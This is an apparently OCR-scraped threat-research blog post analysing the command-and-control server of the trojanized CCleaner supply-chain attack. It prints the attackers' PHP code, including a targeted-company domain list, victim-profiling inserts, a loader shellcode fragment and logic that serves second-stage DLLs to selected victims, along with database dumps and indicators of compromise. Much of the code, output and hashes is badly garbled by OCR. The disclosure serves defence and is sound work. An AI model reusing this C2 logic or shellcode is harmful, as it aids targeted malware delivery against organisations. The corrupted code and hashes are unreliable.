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CCleaner Command and Control Causes Concern

INTRODUCTION

$DomainList = array(
“"singtel.corp.root",
“"htcgroup.corp”,
“"'samsung-breda",
"Samsung",
"SAMSUNG.SEPM",

“samsung.sk",
“jp.sony.com",
“"am.sony.com",
"gg.gauselmann.com",
“vmware.com",
“"ger.corp.intel.com",
"amr.corp.intel.com"
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"ntdev.corp.microsoft.com",
“cisco.com”,

"uk.pri.o2.com",
"vf-es.internal.vodafone.com",

“"linksys",
"apo.epson.net",

“msi.com.tw",
“"infoview2u.dvrdns.org",
"dfw@l.corp.akamai.com",
“"hg.gmail.com",
"dlink.com",

"test.com"):;

TECHNICAL DETAILS

Web Server

-M'wW=r—r—— 24179 Aug 15 cls_mysql.php
drwxr-xr-x 170 Sep 12 data
—Irw—r——r—— 14558 Sep 12 X.php

-r'wW=r=—r-—-— 2174 Sep 13 init.php
Lrwxr-xr-x 5 Sep 19 index.php -> x.php
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($_SERVER["HTTP_HOST"] != "speccy.piriform.com")

Header("Location: https://www.piriform.com");

($_SERVER["REQUEST_METHOD"] != "POST")

Header("Location: https://www.piriform.com");

($_SERVER["SERVER_PORT"] != $ServerPort)

Header("Location: https://www.piriform.com");

<?php

define('IN_ECS', true);
(dirname( FILE ) '/init.php');

'PRC';
'localhost’;
‘ccuser’';
'ki1ll.usercc’;
ICCI:
'Server';

$timezone
$db_host
$db_user
$db_pass
$db_name
$db_table

$display_error = false;
$ServerPort = 443;
$NextOnlineDays= 2;
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$x86D11Name = "/var/www/html/data/GeeSetup_x86.d11";

$s['Guid'];

£info sprintf("Guid : %08X\n", S$s['Guid']);

$info . sprintf("Major Version : %d\n", ord($s['OsVersion'][@]))};

ginfo . sprintf("Minor Version : %d\n", ord($s['OsVersion'][1])):

$info sprintf("Wowb4 : %s\n", $IsWowG4 7 "YES" : "NO");

sinfo sprintf("Process Win64 : %s\n", $ProcessWin64 7 "YES" : "NO");
sinfo sprintf("User Admin : %s\n", $UserAdmin 7 "YES" : "NO");
$info . sprintf("Hostname : %5\n", %$s['HostName']);

$info . sprintf("DomainName %s\n", %s['DomainName']);

$s5ql = sprintf(“INSERT INTO %5 (Guid, IPAddress, OnlineTime, MajorVersion, MinorVersion,
Wow6d4, ProcessWiné4, UserAdmin, HostMName, DomainMName, MacAddress, Software, ProcessList) “.
“WALUES (%u, '%s', '%s', %d, %d, %d, %d, %d, '%s', "%s5', '%s5',
'%g', 'ss')",
$db_table, $s['Guid'], $_SERVER['REMOTE_ADDR'], date('Y-m-d
H:i:s'), ord($s['0OsVersion’] [@8]), ord($s['OsVersion'][1]),
ord{%s['0OsVersion"][2]) 7 1 : @, %ProcessWinG4 7 1 : @,
$UserAdmin ¢ 1 : @,
addslashes_deep($s['HostName']), addslashes_deep(%$s(
'DomainName'] ), $macaddr, addslashes_deep($software),
addslashes_deep($process));

f/fecho %info;
ffecho $sql;

$db->query($sql);

$peloader_x86 =

WSS\ B\ xec\ X8B3\ xec\ x50\ x5 3\ X506\ xS T\ el \ xd 1\ X082 x08'\ x00\ xB8\ x65" .
e B8 xBbY x FBY xBd\ x 45\ xbB\ xBI\ x7d'\ xec\ x 584 x c T\ x45\ xbd\ x6b
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Spefilenome = "%}
A4 ProcessWingd = @

/¢ If domain is the domain list, set the Spefilencme to the filenome to send back
ifCIsInArray($Donainlist, $s5['DomoinNome’])) { Spefilenome = GetDllFile($ProcessWing4); }

A4 IF the ip is in the IPList, set the Spefilenome to the filenome to send back
LRI File_exists(Spefilenome)) { 1f(IsInArray(3IPList, 3_SERVER['REMOTE_ADDR'])) { Spefilenome = GetDLLFile($ProcessWing4); 1 }

.
1f|._|f1.1&_e;u15ts(iu-ef1.1m}] { if(IsInhrray(SHostList, $s["HostName'])) { Spefilenome = GetDlLFile{$ProcessWingd); } }

£ Finally 1f pefilenome has a file to feed ond it exists, send them the file
if(File_exists{Spefilename))
i

Spefilecontent = file_get_contents{$pefilenome];
ifi($pefilecontent) {
LF(SProcessingd) {
Soutcode = Speloader_xb4 . Spefilecontent;
} else {
Soutcode = Speloader_xB6 . Spefilecontent;
¥

MySQL Database
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Intel{R) Management Engine Components
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Windows Media Player Firefox Plugin
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Google #EHlRES

iCloud

Security Update for Microsoft Excel 2010 (KB3191807) 32-Bit Edition
Security Update for Microsoft Office 2010 (KB2956063) 32-Bit Edition
Update for Microsoft Office 2010 (KB2589318) 32-Bit Edition
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System

C:\Windows\System32iamss.exe
C:\Windows\System32\csrss.exe
C:\Windows\System32\wininit.exe
C:\Windows\System32\csrss.exe
C:\Windows\System32\services.exe
C:\Windows\System32\sass.exe
C:\Windows\System32\lsm.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32invvsve.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\audiodg.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\SLsvc.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32iwinlogon.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32invvsve.exe
C:\Windows\System32\spoolsv.exe
C:\Windows\System32\svchost.exe

C:\Program Files\Common Files\Adobe\ARM\1 0\armsvc.exe
C:\Program Files\Agilent\lO Libraries Suite\AgilentlOLibrariesService.exe
C:\Program Files\Agilent\lO Libraries Suite\LxiMdnsResponder.exe
C:\Program Files\ESET\ESET Endpoint Antivirus\ekrn.exe
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe

mysql> show columns in OK;
B G +
| Field | Null | Key | Default | Extra |
B e At St S K
| id | bigint(28) unsigned | NO | PRI | NULL | auto_increment |
Guid bigint(20) | NO | MUL | @ | |
IPAddress varchar(15) | YES | MUL | NULL
OnlineTime datetime | YES | NULL
| YES |

MinorVersion | tinyint(4) | YES |
Wowb4 tinyint(1) | YES |

| YES |

| YES |

ProcessWinb4
UserAdmin

tinyint(1)
tinyint(1)

| |
| |
| |
| MajorVersion | tinyint(4)
| |
| |
| I
| |
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| HostName

| DomainName
| MacAddress
| Software

| ProcessList
| Reservedl

| Reserved2

—,———— ., ,—— e ,y——— e+

varchar(256)
varchar(256)
varchar(256)
mediumtext
mediumtext
int(11)
int(11)

16 rows in set (8.80 sec)

|
|
l
|
|
|

YES
YES
YES
YES
YES
YES
YES

MUL
MUL

| NULL |
| NULL |
| NULL |
| NULL |
| NULL |
| @ |
| @ |

mysql> SELECT id,Guid,IPAddress,OnlineTime from

23 rows in set (08.080 sec)

2017-89-13
2017-89-13
2017-89-13
2017-89-13
2017-09-13
2017-89-13
2017-89-13
2017-89-13
2017-89-13
2017-09-13
2017-89-13
2017-89-13
2017-89-13
2017-89-13
2017-09-13
2017-09-13
2017-89-13
2017-89-13
2017-089-14
2017-09-14
2017-09-14
2017-89-15
2017-89-15

|
|
|
|
|
|
|
+
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mysql> select count(x) from Server;

1 row in set (9.80 sec)

mysql> select count(x) from Server where DomainName like 'S%.gov%';

1 row in set (21.48 sec)

mysql> select count(x) from Server where DomainName like '%bank%';

row in set (20.68 sec)

Stage 2 Payloads
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Umbrella, our secure internet gateway (SIG),
blocks users from connecting to malicious
domains, IPs, and URLs, whether users are on or off the corporate network.

INDICATORS OF COMPROMISE (10CS)

Below are indicators of compromise associated with this attack.

Installer on the CC:
dcOb5e8aabec86db8af0a’7aa897cab1db3e5f3d2e0942e319074dbTaaccfdc83
(GeeSetup_x86.dll)

64-bit trojanized binary:
128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f (EFACIi6A.dII)

32-bit trojanized binary:
07fb252d2e853a9b1b32f30ede411f2efbb9f01e4a7782db5eacf3f55¢cf34902 (TSMSISrv.dll)

DLL in registry: f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a

Registry Keys:
o HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\001
o HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\002
o HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\003
o HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\004
o HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\HBP

Stage 2 Payload (SHA256):

dcOb5e8aabec86db8af0a’7aa897cab1db3e5f3d2e0942e319074dbTaaccfdc83

LABELS: AMP, C2, CCLEANER, MALWARE, TROJAN
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Very detailed analysis, impressive work, very helpful. The sophistication of these attacks is
worrisome.
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UNKNOWN SEPTEMBER 27, 2017 AT 3:46 PM
Great job, yall!
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